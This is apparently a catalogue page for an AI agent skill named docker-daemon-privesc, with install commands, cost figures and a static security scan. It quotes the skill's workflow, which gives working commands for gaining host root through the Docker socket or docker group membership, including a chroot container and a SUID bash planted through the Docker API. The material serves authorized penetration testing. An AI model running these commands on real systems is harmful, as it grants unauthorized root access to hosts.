Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privescWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-daemon-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00050 | $0.01203 |
| Opus 5 | $0.00025 | $0.00602 |
| Sonnet 5 | $0.00010 | $0.00241 |
| Haiku 4.5 | $0.00005 | $0.00120 |
Grade A, and why
docker-daemon-privesc scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/doc Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [docker, curl] This is a copy
100% identical to docker-daemon-privesc — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 127 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Docker Daemon Privilege Escalation
When to Use
- During a Linux local privilege escalation phase.
- When you have a shell as a non-root user who is a member of the
dockergroup. - When you discover a writable Docker socket (e.g.,
/var/run/docker.sock) mounted inside a container or accessible on the host.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Enumeration
# Concept: Check if the current user is in the docker group or if the socket is writable. id
# Output: uid=1000(user) gid=1000(user) groups=1000(user),999(docker)
# Check socket permissions ls -l /var/run/docker.sock
# Output: srw-rw---- 1 root docker 0 Oct 26 10:00 /var/run/docker.sock
Phase 2: Exploitation via Docker CLI
If the docker command is available:
# docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
# Output: uid=0(root) gid=0(root) groups=0(root)
(Explanation: This mounts the host's root filesystem / into the container at /mnt and drops you into a shell inside the container but chrooted to the host's filesystem as root).
Phase 3: Exploitation via API (Curl)
If the docker CLI tool is not installed, but you can write to the socket:
# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create
# Start the container curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<CONTAINER_ID>/start
# Execute the SUID binary on the host tmp/bash -p
Decision Point 🔀
flowchart TD
A[Enumerate Docker ] --> B{In Docker Group / Socket Access? ]}
B -->|Yes| C[Is Docker CLI present? ]
B -->|No| D[Check other PrivEsc vectors ]
C -->|Yes| E[Run container mounting Host FS ]
C -->|No| F[Curl Docker API ]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 127 lines · 50 tokens per session scan A 3180be3c297b
docker-daemon-privesc is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 50 tokens to every session and 1,203 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, asks for root, makes network calls). It is 100% identical to docker-daemon-privesc, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
docker-daemon-privesc
Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.
docker-privesc
Escape Docker containers to host root via 5 techniques.
dll-hijacking-privesc
Exploit local systems via DLL load order hijacking. This skill details how to identify applications on Windows that insecurely load Dynamic Link Libraries (DLLs) and how to substitute a legitimate DLL with a malicious one to achieve privilege escalation or persistent access.
docker-container-escape
Escape from Docker containers to the host system using container misconfigurations, mounted sockets, privileged mode, capabilities abuse, and kernel exploits. Use this skill when testing containerized environments for breakout vulnerabilities during penetration tests. Covers Docker socket mounting, cgroup escapes…
privesc-linpeas
Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…
alpine
Alpine Linux reference — the minimal, security-oriented distribution for containers. Covers apk package management, Docker optimization, multi-stage builds, musl vs glibc compatibility, OpenRC system admin, security hardening, and common troubleshooting.